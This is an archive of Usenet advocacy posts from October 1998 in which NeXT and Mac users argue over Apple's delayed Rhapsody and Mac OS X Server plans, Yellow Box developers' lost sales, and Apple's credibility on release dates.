References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com>
John Nagle <nagle@netcom.com> wrote
> Michael Peck <Michael.Peck@ericsson.com> writes:
> >Whence comes this incredible ignorance of the Rhapsody roadmap?
> >Premier Release, scheduled for 1/98.
>
> There's a word for people who believe Apple's OS
> preannouncements.
>
> Suckers.
Yep, that is me. But I don't think I have made my point very well.
Operating Systems are usually late (Win95, Win98, NT5, Copland, MacOS X),
but usually ISVs can still sell their software into the existing OS market.
For example, most vendors who plan to sell a product for NT 5.0 can
probably still sell into the existing NT 4.0 market.
The YB developers are in a different situation. Not only did Apple *not*
drop the price of NeXT's shipping NEXTSTEP Release 4 or OpenStep for
Windows, but marketing died on it, and it became almost impossible to buy.
I still challenge anyone to go to Apple's web site and find a product
number and price for OpenStep products.
So all these OpenStep ISVs, most with fairly mature products, have been
frozen out of *any* market, not just the delayed MacOS X market, for almost
two years.
Few companies kill their existing product line before the next one is ready
to replace it... Wait, didn't some company do that around 1993? :-)
Todd
PS. I am doing fine. I was just feeling bad for those few OpenStep ISVs
who have been hanging tough for several years with great products that they
have been unable to sell.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: OSX server coming soon (Was Re: osX is no more
Date: 21 Oct 98 00:16:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B252D879-1252E@206.165.43.183>
References: <Pine.OSF.3.95.981020235304.21969A-100000@cheetah.it.wsu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Scott Kenji Araki <skaraki@mail.wsu.edu> said:
>I've heard OS X server will not happen. True? false?
Here's what Justin Higgins <jhiggins@dn.net> just reported on AIMED-TALK:
[AIMED = Association of Independent Macintosh Engineers and Developers]
"I just got off the phone with my Apple Enterprise Software rep, and Mac OS
X Server 1.0 is still definately on track to be released. Apparently the
product marketing group wanted to delay the introduction, because they
felt the current plan (late october, early november release) was too close
to Mac OS 8.5's release, and would distract from it. I made it very clear
to them though that I couldn't have them lying to be about whether or not
OS X Server 1.0 would be available soon, because we wouldn't use
WebObjects without being able to use OS X Server 1.0 as well."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Yves R. Crevecoeur <creveco@ibm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com> <70limg$rgq$1@nnrp1.dejanews.com>
Organization: Integris Microsystems Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <362ec86d.0@news1.ibm.net>
Date: 22 Oct 1998 05:53:49 GMT
spagiola@my-dejanews.com :
> nagle@netcom.com (John Nagle) wrote:
> > There's a word for people who believe Apple's OS preannouncements.
> > Suckers.
> > I mean, really; they've blown it every time since the days of the
> > 68K microkernel.
>
> I think that's being unduly harsh, at least for recent times. Both OS8 and
> OS8.5 were shipped when Apple said they would be.
>
I have to agree at this point that Apple OS perannouncements believers are
indeed SUCKERS.
Let's see:
1. Taligent
2. Copland
3. OpenDoc
4. Java OS
5. Rhapsody
6. What's NeXT... OS X
Full me once shame on you, Full me twice (or half a dozen times) shame on me
for being a sucker!
Ciao
YC
From: mjl10@uow.edu.au (Michael James Lawler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 22 Oct 98 05:02:32 GMT
Organization: University of Wollongong, Australia
Message-ID: <mjl10.909032552@banshee>
References: <01bdfc5b$c2fd8520$06387880@chewy> <stone-2110981546220001@rc-pm3-1-19.enetis.net>
NNTP-Posting-Date: 22 Oct 1998 05:03:47 GMT
stone@stoneentertainment.com (Kevin Stone) writes:
>Yah, here's a thought. MacOS X Server is not cancled. It was a simple
>misunderstanding of a question durring a press conference in Australia.
>Amazing how these rumors get started. :-/
Australia? or Austria? Dont start anymore :-)
Michael.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 10:41:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E00B4.7DFA199A@ericsson.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
<F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
[cut]
> > I don't know how you get this "in retrospect". What signs have we that
> > *failing* to ship a completely new operating system is better than
> > *succeeding* in shipping the already-highly-acclaimed OPENSTEP?
>
> If you were at WWDC, you would know the answer by the applause and the
> comments that YB was dead and good riddance.
Yes, clever strategy Jobs was pursuing, wasn't it? I'm (not) so glad to
hear that in the span of time from August 1997 to May 1998 Jobs managed
to basically kill all enthusiasm in the MacOS market for YB.
> Strategy in 1997:
>
> a) several more releases of MacOS
Sorry, bzzzt. *Many* more releases of MacOS. There was no end to the
MacOS roadmap, there were only unannounced plans.
> b) at the same time several "beta" release of Rhapsody
Sorry, bzzzt. You say you kept up with this stuff? Hard to believe. The
Premier Release of Rhapsody was scheduled (in 1997) for January of 1998.
It was to be a public release with "as much Blue Box support for MacOS
applications as possible". Six months later would see yet another public
release, the so-called "Unified Release" of Rhapsody. This would have
comprehensive Blue Box support for MacOS applications.
> c) final conversion to Rhapsody, YB 1st class, BB 2nd class and orphaned
What does "orphaned" mean? Sounds like more retro-spin.
You've also neglected to note that an aggressive MacOS upgrade strategy
was planned for in 1997. The details were swamped by the increasing flak
from Jobs over licensing to the point of killing the program.
> Stratefy in 1998:
>
> a) several more releases of MacOS
> b) several releases of Rhapsody
Which? As far as I know, there were simply DR2 and Rhapsody 1.0. Period.
End of story.
> c) eventual conversion to OS-X, with both YB and MacOS API's being 1st class
Not conversion. Convergence.
> I see no other difference, and you haven't pointed any out in this
> message.
What you "see" is none of my concern. You're not my project.
> > What you call "panic" is actually the continual, tired, dogged criticism
> > of Jobs' (and others within Apple) idiotic actions for *YEARS*.
>
> Jobs hasn't been at Apple for years.
Excuse me, did I say "and others within Apple". Why, I believe I did.
*pssst* Work on the reading comprehension. These conversations will go
*so* much more smoothly when you actually begin absorbing the content.
> Moreover I don't think you're in
> any place to tell me what my words mean.
Whoops! My bad. How could I forget the many times I've failed to draw
any sort of specific meaning from your postings? It's always "I didn't
mean that, I meant blah blah blah blah. Don't read what I write, wait
for me to clarify" (and clarify and clarify and clarify)...
MJP
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 12:47:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70kl4q$j4t$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <70jmbo$mqb@news1.panix.com>
sal@panix.com wrote:
> Apple has almost _zero_ credibility in the enterprise market. Shipping
> OpenStep as it was would have done little to build credibility. Shipping
> OSX Server, with many improvements over OS4.2, and some kind of marketing
> push (perhaps with WO4) _may_ improve Apple's credibility.
The operative word there is "shipping" -- having amazing technology in your
cellar that you may or may not decide to ship at some future point in time at
some as yet unspecified price is NOT going to improve Apple's credibility. In
fact, Apple's entire behavior on this matter seems calculated to REDUCE its
credibility.
Which I say with definite sadness, because I know just how good the technology
really is.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 00:57:32 +0100
Organization: EarthLink Network, Inc.
Message-ID: <362D2364.661A@earthlink.net>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
<F14qsH.CE2@T-FCN.Net> <70ijgl$9c$1@nnrp1.dejanews.com>
<70j53v$ko1$5@msunews.cl.msu.edu> <01bdfc9b$250cfae0$06387880@chewy> <70jo2g$hbk$1@msunews.cl.msu.edu>
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Randy wrote:
> One reason I advocated (1-2/97) Apple simply port Openstep
> to PPC and related products and release them there. This would have
> given them at least a year to be digested on PPC - and possibly an
> inkling of interest and possibly could have significantly helped YB
> gain more momentum. Unfortunately it's 10/98 and were still waiting.
Yup! Still waiting too. C'mon Apple...your killing us here! The
straight Openstep to PPC would have been the best thing they could have
done. Just get it done and get it out and let everyone try it!
Meanwhile they are almost a year late with something for the consumers.
Ugh! I hope they stay true to the responses I've seen about Crabb's
lame article. Mac OS X Server out before the end of the year!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Wed, 21 Oct 1998 01:09:03 +0100
Organization: EarthLink Network, Inc.
Message-ID: <362D2615.55E8@earthlink.net>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
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To: spagiola@my-dejanews.com
spagiola@my-dejanews.com wrote:
> I certainly will be buying several more apps, such
> as Mesa and Tiffany, as soon as I have a MOSXS system I can run them on
> (assuming prices are reasonable, both for MOSXS and the apps themselves).
And don't forget being able to run OmniWeb too!
> Either of these would be fine with me. As long as they PLEASE DO SOMETHING!!!
I couldn't agree more.....LET'S SEE IT ALREADY APPLE!!
Steve
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
Date: 20 Oct 98 17:25:08
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Oct20172508@slave.doubleu.com>
References: <70fpbp$dhd$1@nnrp1.dejanews.com>
In-reply-to: cvbuskirk@home.com's message of Mon, 19 Oct 1998 16:28:41 GMT
In article <70fpbp$dhd$1@nnrp1.dejanews.com>,
cvbuskirk@home.com writes:
The NeXT crowd will probably face the brunt of this, but hey, with
the exception of a *few* hardcore software houses, what have they
developed in the past few years anyhow?
<...>
Remember the quote, "Carbon. All lifeforms are based on this."
I'm not clear on exactly what your point was, but from the pieces you
posted, it sounds like the point was "Drop the new APIs and just ship
Carbon on Mach", essentially a new variation on Copland.
If that's what you meant, then my only response is: Without OpenStep,
why _exactly_ do I want to develop for the Mac? If I hated myself
that much, I could save some money and just develop on Windows.
That'd get me a bigger market, too. Warm fuzzies from "having a
better platform" aren't going to get you anywhere these days.
When it comes right down to it, there are a lot of deep minds out
there want MacOS X (with OpenStep) because anything less isn't worth
the effort to develop on. They'd make money, but hate their work. If
MacOS X (with OpenStep) doesn't happen, these people, including
myself, probably are _not_ going to simply give up and go to MacOS.
They'll either go to Windows (no more painful than MacOS from our POV,
and more money to chase), or BeOS (for the fun), or into free software
(not much money, but at least the environment doesn't suck so badly,
the depth of tools is reasonable, and the users are more "with it").
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Microsoft's Unix
Message-ID: <1998Oct15.181713.2889@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <361D0499.908ACB02@hotmail.com>
Date: Thu, 15 Oct 1998 18:17:13 GMT
In article <361D0499.908ACB02@hotmail.com> pdohert <pd@hotmail.com>
writes:
> Christopher Browne wrote:
> >
> > On Mon, 05 Oct 1998 22:39:53 GMT, Charles Swiger <chuck@codefab.com>
wrote:
> > >In article <6vaaqn$h6l$5@supernews.com>,
> > > "Dan" <dan@knowspaam.com> wrote:
> > My employer had a power outage which evidently forced restarting 17
> > machines. They are *never* restarted - upgrades are done online.
> > Disks, CPUs, memory, all can be added without a need to shut anything
> > down.
>
> Sounds like a mainframe to me... adding CPUs without powering down? And
> just how would a PC have a CPU added to a live socket without zapping
> the chip?
Gee... HP and Sun are two systems I've worked on just in the last six
months that allow hot-swapping CPUs (on multi-CPU'd systems.) They're not
PC's, but they aren't Mainframes either.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
Newsgroups: comp.sys.next.advocacy
From: nuttleri@wdrSPAM_SPAM_EGGS_AND_SPAM.com (Richard Nuttle)
Subject: Re: iMac really so innovative?
Message-ID: <1998Oct15.195530.4102@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <1dgouuz.53oj5jwnw5uvN@quern.demon.co.uk>
Date: Thu, 15 Oct 1998 19:55:30 GMT
Jonathan Sanderson writes
> Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>
> > Is the iMac really revolutionary? I seem to recall the original
Macintosh
> > was conceptually very similar.
>
> Quite. But then, the only previous Mac equivalent which has been so
> affordable was the Classic.
>
That's not how I recall it. I recall the original Mac being somewhat
revolutionary in that it was a mass-marketed machine that had a GUI.
Apple's big sellers at the time were Apple II's (e,c,gs) and it was a big
leap of technology. The IIgs had some kind of graphical interface but I
was under the impression never having used a gs, that the one on the mac
was superior. This is what I perceived coming from the home user end of
the spectrum, I could be wrong.
-Rich
--
I speak for me, not my employer.
-Rich
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 22 Oct 98 03:14:06 -0600
Organization: ICGNetcom
Message-ID: <B2545381-5D9EE2@204.31.112.105>
References: <70ltha$b0v$1@nnrp1.dejanews.com>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Wed, Oct 21, 1998 6:16 PM, spagiola@my-dejanews.com
<mailto:spagiola@my-dejanews.com> wrote:
>maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> 2a) What does "Premier Release" mean?
>>
>> Unless you have a definition that this means "general public release"
>> then your line of reasoning is incorrect. I cannot remember a single
time
>> in which Apple stated that PR was to be a generally available release.
>
>Would you accept Avie Tevanian's word? Here's his response in a Feb. 1997
>
>interview to the question: "if you were going to make a recommendation to
>a
>friend or family member, what would you tell they should be able to do
with
>the Premier Release? ... Is it basically just for evaluation, or do you
think
>people will be able to do productive work with it?"
>
>Avie's answer: "I think people will certainly be able to do productive
work
>unless they depend on a Mac OS application that won't be supported by the
>Blue Box in that timeframe. And it's hard to predict exactly which ones
will
>or won't, but that would be probably the big thing that would come to
mind,
>that they wouldn't be able to do at that point in time. But other than
that,
>everything should be clearly functional. There may be some pieces of the
UI
>that are still subject to revision, but we'll have at least some of the
>changes, maybe most of the changes, done by that timeframe."
>
>If Avie would recommend it to a family member, albeit with some caveats,
>to me
>that certainly implies a general public release. (then again, maybe all of
>Avie's family is as smart as he is)
>
>You can find the full interview at
>http://macuser.zdnet.com/onlinecol/tevanian.html
>
>
>Stefano Pagiola
>---
>My opinions alone
>Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future
>MacOS X
>Server user
>
>
>-----------== Posted via Deja News, The Discussion Network ==----------
>http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
>
What's been causing some of the confusion, it seems, is that Apple has
renamed the different release phases of the OS formerly known as Rhapsody
at least 3 times in the past 18 months.....
For the original Developer/Premier/Unified terminology during the
Amelio/Hancock era and what phase in terms of functionality each one
represents, see the official statement in May 1997 at around the time of
the
WWDC
http://product.info.apple.com/pr/press.releases/1997/q3/970513.pr.rel.macosupdt.html
So, in my own very unofficial schematic:
Developer ("mid to late 1997") --> DR1 (October 1997). On time, amidst
rumors (and even a few statements by Avie Tevanian, IIRC....) that Blue Box
development at Apple was further along than anticipated, and thus that
Rhapsody was actually a few months ahead of schedule, internally
Premier ("early 1998") --> a) DR2 (April-May 1998). Roughly parallel in
terms of feature set, it sounds like; in fact, DR2 is rumored to have a
fully functional Blue Box, whereas Premier was only 'promised' to have had
partial MacOS compatibility, with 'early adopters' using it primarily in
native YB mode. Yet in terms of market and availability, unlike Premier,
DR2 remained a developer-only release, so impatient murmurings from
Userland start to be heard from afar at this point, even though getting a
more advanced version of the technology (at least in terms of how far Blue
Box had evolved, etc.) may also be considered worth the wait, by some
(overall, a 4 month delay in the project, at worst....)
or (here's where the 'glass half full/half empty' debates commence... <g>):
Premier ("early 1998") --> b) Rhapsody CR1/MacOS X Server (very late 1998-
very early 1999....). Premier was to have been the first public customer
release "for early adopters of new technology in multiple market segments",
with 'emulated' rather than 'native' MacOS compatibility, which still
fairly accurately describes the target audience for OS X Server, I think
(rapidly approaching the '1 year late' mark, in this case....)
Unified ("mid 1998") --> a) Rhapsody CR1/MacOS X Server as the 'finalized'
public release version of Rhapsody ('Warning: possible truncation may have
occurred'.... <g>), with the original 'Rhapsody' project as a whole approx.
6 months behind schedule, at worst, and OS X as something new and distinct
from that, to be considered separately wrt what Apple has promised and
delivered, or not (e.g., first announced and promised in mid 1998 for Q3
1999 release and apparently still on schedule....)
or (simply ignoring the flurry of semantic shifts and 'official' renamings
for 'all of this MacOS X stuff'.... <g>):
Unified ("mid 1998") --> b) MacOS X consumer release with Carbon, etc. (Q3
1999?), as the first "native implementation of MacOS" (not emulated as in
Blue Box, IOW...), on an "advanced Rhapsody base" (see URL); also, Unified
was the version I seem to recall Ellen Hancock saying would be the first
one geared to 'making Mac users happy' in terms of UI appearance, the
degree to which the 'Unix underpinnings' would be 'hidden', etc., some 18
months ago, which today still describes OS X Consumer better than it does
OS X Server, perhaps. Again, in malo, the 'next OS' project at Apple would
be about 10-12 months late now (from the impatient user/consumer
perspective, anyway.... <g>), as compared to the original 'OS strategy and
roadmap', in this case.
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com>
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Date: 22 Oct 1998 12:32:16 GMT
Organization: IBM.NET
On Wed, 21 Oct 1998 19:34:23, spagiola@my-dejanews.com thought aloud:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> > > If you were at WWDC, you would know the answer by the applause and the
> > > comments that YB was dead and good riddance.
> >
> > Yes, clever strategy Jobs was pursuing, wasn't it? I'm (not) so glad to
> > hear that in the span of time from August 1997 to May 1998 Jobs managed
> > to basically kill all enthusiasm in the MacOS market for YB.
>
> Now, I've been loudly criticizing Apple in this forum, but I think that this
> is just unfair. You can blame Jobs, perhaps, for not doing enough to sell YB.
> But blaming him for killing interest in it is just unfair hyperbole.
Well, I believe Michael exaggerated a tad by saying "all enthusiasm"
in the Mac OS market has been killed by Jobs' "milk Mac OS and then
jump to next big (yet unknown) thing" tactics, but all the facts (or
rather lack of facts) indicate he has not only taken YB off the
Mac-using consumers' maps until some vague and distant future date but
also off developers radars. It is especially the latter that shows how
seriously Apple is now downplaying YB (by simply refusing to play it
at all).
> The sad
> fact is, there NEVER WAS any enthusiasm for YB in the MacOS market, most of
> whose members had their heads stuck way too deep in the sand to take an
> objective look at it.
That is quite a statement to make; and the tone of it unfortunate too.
I can't speak for "the Mac OS market", especially as I only entered
the Mac scene soon after the NeXT deal and later bought another new
late '97 PowerMac (not Mac OS X supported anymore, heh) for the sole
purpose of running "Rhapsody" on it, but nevertheless... according to
my perception of the market in '97 the visible sections of the Mac
user community were rather enthusiastic about Rhapsody which had been
given rather concrete shipping targets Q1 '98 for Premiere and mid-'98
for CR1. Yellow Box was a/the major part of the attraction, with
ability to run existing "classic" apps in Box Bleu and the modern,
stable OS underpinnings being the other attractions. (IMHO BB code
freeze at 8.1 (8.5?) level would've been preferable to the
ever-changing API and breaking-apps syndrome that follow any new
Classic Mac OS releases).
From my POV, the Mac market and the press welcomed Rhapsody
enthusiastically. What caused the Rhapsody strategy to fail was
Apple's inability to convince the developer community that moving to
YB in short order was the right thing to do and that Apple could be
trusted to actually deliver Rhapsody (and YB frameworks on other
platform(s)) to consumers' hands without delays of Coplandesque
proportions. Well, they couldn't. Here we are in late '98 and the only
way to get any information of "Rhapsody's" fate is when the press and
developers start publically asking whether Rhapsody has been totally
canned and finally Apple manages a grand reply: "No, there was just a
slight misunderstanding". (i.e. even Apple reps aren't sure what has
happened to it or how the strategy could be articulated).
So, these days you don't see much enthusiasm towards YB; instead,
there's a lot of unfortunate squabbling between Apple's customers over
"where they are taking us, if anywhere". But to say that there NEVER
WAS ANY interest in the Mac market towards YB is rewriting history to
fit the present.
Respectfully,
--
taiQ
[this space is intentionally blank]
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 13:19:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70nbc9$pmd$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com> <01bdfd72$140c6e60$06387880@chewy>
"Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
> Operating Systems are usually late (Win95, Win98, NT5, Copland, MacOS X),
> but usually ISVs can still sell their software into the existing OS market.
> For example, most vendors who plan to sell a product for NT 5.0 can
> probably still sell into the existing NT 4.0 market.
> The YB developers are in a different situation. Not only did Apple *not*
> drop the price of NeXT's shipping NEXTSTEP Release 4 or OpenStep for
> Windows, but marketing died on it, and it became almost impossible to buy.
> So all these OpenStep ISVs, most with fairly mature products, have been
> frozen out of *any* market, not just the delayed MacOS X market, for almost
> two years.
Except that Apple did hand out quite a large number of "Prelude to Rhapsody"
(== OPENSTEP) copies to Mac developers, did it not? This may well have been
quite a boost in the potential OPENSTEP market. Note that I don't disagree
that Apple should have kept selling OPENSTEP, at a much lower price. But it's
not quite as bleak as you paint it.
The other aspect of this, is that as a potential buyer you can help support
those ISVs, eg I bought Stone's entire line-up about a year ago.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 13:24:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70nblv$q26$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com> <70limg$rgq$1@nnrp1.dejanews.com> <F17A2D.Jyp@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > Where I do think Apple has "blown it" is in its handling of the
> > positioning of Rhapsody, and specifically of Yellow Box, with respect
> > to its long-term roadmap. THAT's the problem, and it's a very different
> > one from whether they ship exactly on time or not.
>
> On the other hand I'm not willing to say they have until I see MacOS-X.
> Who knows, they may market YB off the map when it ships. Rhapsody is not
> going to be a "big" OS, OS-X will. I can understand them wanting to wait
> until then before hyping anything about it. I just wish it weren't so far
> in the future.
Sorry, but I disagree. Marketing YB "off the map" when MOSX ships is too late.
They need to market it NOW, to developers who will produce YB-native apps so
that they're available when MOSX ships. Else we're left with the problem the
iMac had: the computer is there but no peripherals are available.
As it stands, the lists of apps under development with YB consists almost
entirely of former NeXTSTEP/OPENSTEP apps. NOT a good situation, as good as
those apps are.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Organization: My ISP puts something here if I don't.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
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Date: Thu, 22 Oct 1998 14:43:15 GMT
In <70lor9$3pi$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> IMHO, there's a difference between "they all wanted to hear about Carbon"
> and "they didn't want to hear about anything else."
Ok, fair enough. Let me restate my comments though, there was a clear
undertone at WWDC that Carbon would "teach them who's boss". I encourage
you to ask some of the other ex-NeXT developers that were there.
> that complicated to me: (1) Have legacy code? We're giving you carbon,
> which
> will allow you to port easily and give you an app which will be
> afirst-class
> citizen.
Indeed, which is why I think Carbon is so terribly important. Check out
the Fortune article on Jobs for instance. But honestly, there was more to
it than that. Much of it (IMHO) was due to attitude on the part of the
ex-NeXTers, but a lot of it was due to the attitude of the Mac developers
too.
> development environment around. Now, I think you'll agree with me that
> this
> is the strategy. Except that the way they presented it at WWDC (and
> since),
> they only said (1). And they said it in a way that not only ignored (2)
> but SEEMED to actively denigrate it.
But this is where I think we differ, I think this is part of a grand
plan. Who really knows? I mean MacOS could do so well on it's own that
they could can the whole thing and forget it - not like they haven't done
that before. But this is really something different, and the people are
really different. And I think they know it.
> I'll say it again: IMHO, they botched the presentation of the new
> strategy.
Botched for who? If a year from now it comes out of stealth and goes
nuts, will you then say that it was a brilliant strategy? I think you
think there is no plan to this. I on the other hand think there is a Plan.
Seems to me that WWDC made it clear to everyone what was going on - I have
direct to my face replies from Apple people saying "hey, we're downplaying
this, but you've got to trust us on this". And for the first time in about
three years, I actually do.Ê This IS a new Apple, and if you don't think so,
if you think this is just the old Apple up to it's old tricks again, fo and
read...
http://www.pathfinder.com/fortune/1998/981109/app.html
> See above. Plus their total silence since. Now, I happen to know that this
> impression is wrong. But the impression remains.
Ok, impressions then. Can you be sure that this isn't what they WANT you
to think? You see, I think they want to spring this almost ex-nihlo on an
unsuspecting public, just like the iMac. I think they want to be quiet
quiet quiet and then KA-POW!
> Sorry, Maury, but I keep being confused on what you're referring to. What
> is "it" in the first sentence here referring to?
OS-X.
> If you're arguing that changing their name again would further confuse
> people
No, I think _talking_ about _it_ will confuse people. So they don't.
Trust me, all the fear you're displaying is natural and I've been through
it all. Remember, if this doesn't "go down" the right way, I'm out of the
best job I've ever had in my life and my boss is looking too. I'm creating
_magic_ here, ME, the person that thought he would never be able to
program. The only thing that really bums me out is thinking what Lawson
could be writing if he stopped harping and started working.
> shipping at all. Bear in mind that suggestion was made when the hot rumor
> was
> that "OSXS is cancelled". Now that it seems its not, the suggestion is
> moot,
> anyway.
